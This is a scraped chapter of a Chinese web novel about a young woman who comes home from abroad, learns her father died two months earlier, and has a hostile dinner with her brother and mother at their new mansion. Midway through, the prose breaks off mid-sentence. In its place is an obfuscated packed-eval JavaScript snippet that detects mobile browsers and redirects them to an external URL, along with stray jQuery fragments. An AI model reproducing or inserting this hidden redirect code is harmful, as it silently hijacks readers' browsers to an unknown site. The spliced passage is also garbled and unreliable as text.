默认冷灰
24号文字
方正启体

1. 客房选手(1)

作者:宝婺本书字数:K更新时间:
    第一章


    客房选手


    飞机将要开始下降。


    邻座白男过于庞大的身躯占了快有两个位置,液体似的肥肉溢到旁边座位上,辐射出阵阵热气与浓烈香水味,烘得人快要窒息。


    坐在他里侧的吕静言艰难地弯下腰去,一面竭力避免触碰到他,一面从脚边的随身旅行袋中掏出化妆包。


    在狭小空间中坐了快二十小时的身体僵硬酸痛,动起来似乎咯嘣作响,吕静言深吸一口气,有点后悔因为图便宜买了经济舱,早知道就该狠狠心,买张头等——不,算了——买张商务舱的票。


    她缩在远离白男的一侧,拉开化妆包,手持小镜开始上妆。她化得认真仔细,不遗余力地遮盖住劳顿旅途中疲惫苍白的脸色,使自己看上去容光焕发、光彩照人。


    时间掐的不错,舱门打开时刚好涂完最后一下口红。她收起化妆用具塞回包内,又习惯性地抹了点护手霜,而后从旅行袋里拿出一双高跟麂皮短靴,换下脚上的运动鞋。


    白男已经离开座位。她舒了口气,对身上那件特地选出的、不怕褶皱的防雨塔夫绸风衣略作整理,站起身来。


    腿大约有些水肿,右侧腿上的旧伤也隐隐作痛,她踉跄一步,又很快站直,咬牙忍下不适,拿好行李,踩着高跟鞋昂首阔步走出机舱。


    她东西很少,在大洋对岸留学四年,带回国的不过一只登机箱和一个小旅行袋,连行李也不必等,通过检查后就直接离开。


    她边给安发一条报平安的信息边跟随人流迈进乘客到达厅,余光掠过接机人群中鹤立鸡群的那抹黑色身影,心里冷笑,佯做不知,径直走过。


    没走两步,手臂被人一把拽住。她懒洋洋抬起眼睛看向对方,语气惊讶道:“呦,你怎么在这儿,我都没看见。”


    黑衣男子并不接她话,只说:“走吧。”


    吕静言抽回手臂,明知故问:“去哪儿。”


    “回家。”


    “哦,”吕静言笑了,“原来是接我来的。不不,不敢劳您大驾,我这边自己打车回去就好。”


    男子收手看她,“打车?你知道该打到哪里么。我们已经搬了家,想必你还不知道新地址。”


    吕静言的假笑凝固在脸上。


    男子拉过她手中行李箱,重复道:“走吧。”


    吕静言轻哂一声,将旅行袋挂在对方身上,做了个“带路”的手势。


    她跟随他来到停车场,在一辆黑色磨砂漆面SUV前停下。男子将行李放到后备箱,她自顾自地坐进去,他安置好东西上车,发现她坐在后排,从后视镜里望向她,“你坐后面?”


    吕静言在镜面中与他对视:“有问题吗,你不就是负责开车。”她说到这儿,又眉眼弯弯地笑,“说起来,吕希声,你怎么混的。亲自来机场接人,连个司机都没有——难道瀚威又要完蛋了?”


    吕希声对这句奚落置若罔闻,依然在镜中看她,“我有事和你说。”


    手机“叮”地响起,是安回复她那条报平安的消息,吕静言点进软件去看,随口应道:“说。”


    吕希声默然几秒,像暴风雨前的宁静,而后,他道:“爸去世了。心脏病发作。”


    吕静言猛地抬起头来。


    “什么时候?!”


    “上个月二号,凌晨。”


    “不可能,”她安静片刻,道,“你骗我。我没有看见新闻和讣告。”


    “为了防止股价大幅震荡,消息都被压了下去,你当然看不见。”吕希声说。


    吕静言定定看着他的背影,简直不敢置信,“两个月,爸死了快两个月,你们瞒着我?你们居然不告诉我?!还有谁当我是吕家人吗!”


    吕希声回过头来,“我们瞒着你?我们不告诉你?这些年你和家里有过往来吗,你甚至把我删了,屏蔽了,请问我该怎么告诉你。”


    吕静言怒极反笑,“借口!你要真的想告诉我,难道会找不到我?你连我今天几点落地的飞机都知道,又在这儿装什么?”


    吕希声笑一声,点点头,“对,我就是不想。我凭什么告诉你。——而且国内这些知情的人,居然没有一个肯告诉你,你也真够可悲的。”


    “你才可悲。”吕静言道,“那些人,那些所谓的‘亲朋好友’,哪一个不是冲着你的身份和你交往,哪一个会把你看得比吕家更重要?我已经抛弃他们,我现在有真正的朋友。而你依然留在他们中间,沾沾自喜。我简直可怜你。”


    吕希声居然没有再驳,目光在她脸上扫过一圈,转过头去。


    吕静言把手机扔在一边,默了默,指示道:“开车。”


    ~*~


    吕希声驾车驶离机场,却不进市区,而是向着远郊深山进发。


    已是深秋,华东地区暑热渐退,一路上草木虽绿,却葳蕤不再,在傍晚暗淡夕阳中显出一派颓势。


    远远地,视线尽头出现一幢浮华得犹如度假酒店的庞大建筑。天色将黑未黑,建筑四周的灯带全部开启,光线映射到几里之外,金碧辉煌到无法忽略。


    吕静言从车窗望过去,啧声道:“看来瀚威确实缓过来了。瞧瞧,都搬到畭山别墅来了,这深山老林的,我还以为你想杀人灭口呢。”


    吕希声没说话。


    “既然有钱,为什么不把老宅买回来。”吕静言又道。


    吕希声道:“卖出去的东西,也不是想买就能买回来。”


    “呵,估计是你们嫌人家开的价贵,觉得不值吧。”吕静言冷笑。


    吕希声再次沉默。


    车子驶入宅院,顺车道停入库中,二人从连廊进到门厅。


    一名三四十岁的女人迎上前来问候他们,同时手脚麻利地接过他们的外套和行李,递上拖鞋与消毒湿巾。吕希声朝她点头致意,对吕静言介绍:“这是琴姐。”


    吕静言向她打过招呼,换好鞋、擦了手,随吕希声向里走到客厅。琴姐没有跟上来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288483|198483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厅中再无其他人,巨大的枝形吊灯正散发出耀眼光芒,照得整个房间亮堂堂、空旷旷。


    吕静言问:“方姨和程婆婆她们不在?”


    只是正常音量,却在过于宽敞的空间中荡起回声。吕希声脚步不停,答她:“程婆婆年纪太大,已经退休去养老。方姨女儿生了孩子,她要去照顾。其他人,你也知道,那时候就已遣散,如今各有去处,不会再来。”


    吕静言轻哼一声。


    真的是,全都变了。


    “所以这么大的房子,只有那位琴姐打理?”吕静言戏谑道,“你们给人家发多少工资啊。”


    吕希声侧头瞧她一眼,“妈不喜欢太多外人在家里。方姨他们离开之后,除了警卫室的安保之外,就只有琴姐住家。别的人白天过来,现在已经下班了。”


    吕静言幽幽道:“我看不是妈不愿意,而是那些人不肯吧。就她那个样子,日夜相对,有几个人受得了。”


    吕希声不置可否。


    说话间他们穿过客厅,吕希声在右侧尽头的一扇门前停下来敲了一敲,“妈,静言回来了。”


    里面传出一道不再年轻的女声:“进来吧。”


    吕希声替吕静言推开房门。


    是一间餐厅。


    仿西式的长餐桌上菜品琳琅,他们的母亲宋斓坐在主位,循声望向自己的一双儿女。


    她打理得乌亮的头发紧紧挽在脑后,妥帖精致。一张生了细纹的脸庞艳丽犹存,不难窥出当年光芒四射的风采。


    吕静言凑近了瞧她,笑道:“哎呦,妈,气色不错啊,真显年轻。是才做过医美呢,还是因为爸去世了,您人逢喜事精神爽?”


    宋斓眼风如刀,剐在她身上。


    吕静言迎着她的目光,拖开椅子在她右边第一个位置坐下,还是笑:“关于爸去世两个月,我没有收到任何通知这件事,您有什么想说的?”


    宋斓把目光从她身上收回来,语气冷然淡漠,“先吃饭。”


    吕静言向后靠在椅子里,歪头做出思考的动作,大约两三秒,双手一拍,乐呵呵应道:“行,先吃饭。”


    站在一侧默然注视二人往来的吕希声走到母亲左手位置上落座,与吕静言相对。


    慢烤牛排、红酒烩鸡、熏三文鱼、油封鸭肉、南瓜甜羹、香草焗蜗牛、藜麦莴苣沙拉、普罗旺斯炖蔬菜、无花果酸奶。一桌子该死的白人饭。


    吕静言不爱吃西餐,从小就不爱,去留学之后更是深恶痛绝。她不记得家里有谁喜欢这些。父亲口味清淡,当年吕家的主厨一个是粤菜师傅、一个是淮扬菜师傅,他们一家吃了许多年,都是地道的中国胃。印象中只有招待外客或需要做甜品的时候,那位法国大厨才会出场。


    所以,她现在是外客,还是被故意恶心的吕家人呢?


    明明都不爱吃的玩意儿,真是伤敌一千,自损八百。


    她笑意盈盈,举起餐具,胃口极佳似地,津津有味用起餐来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)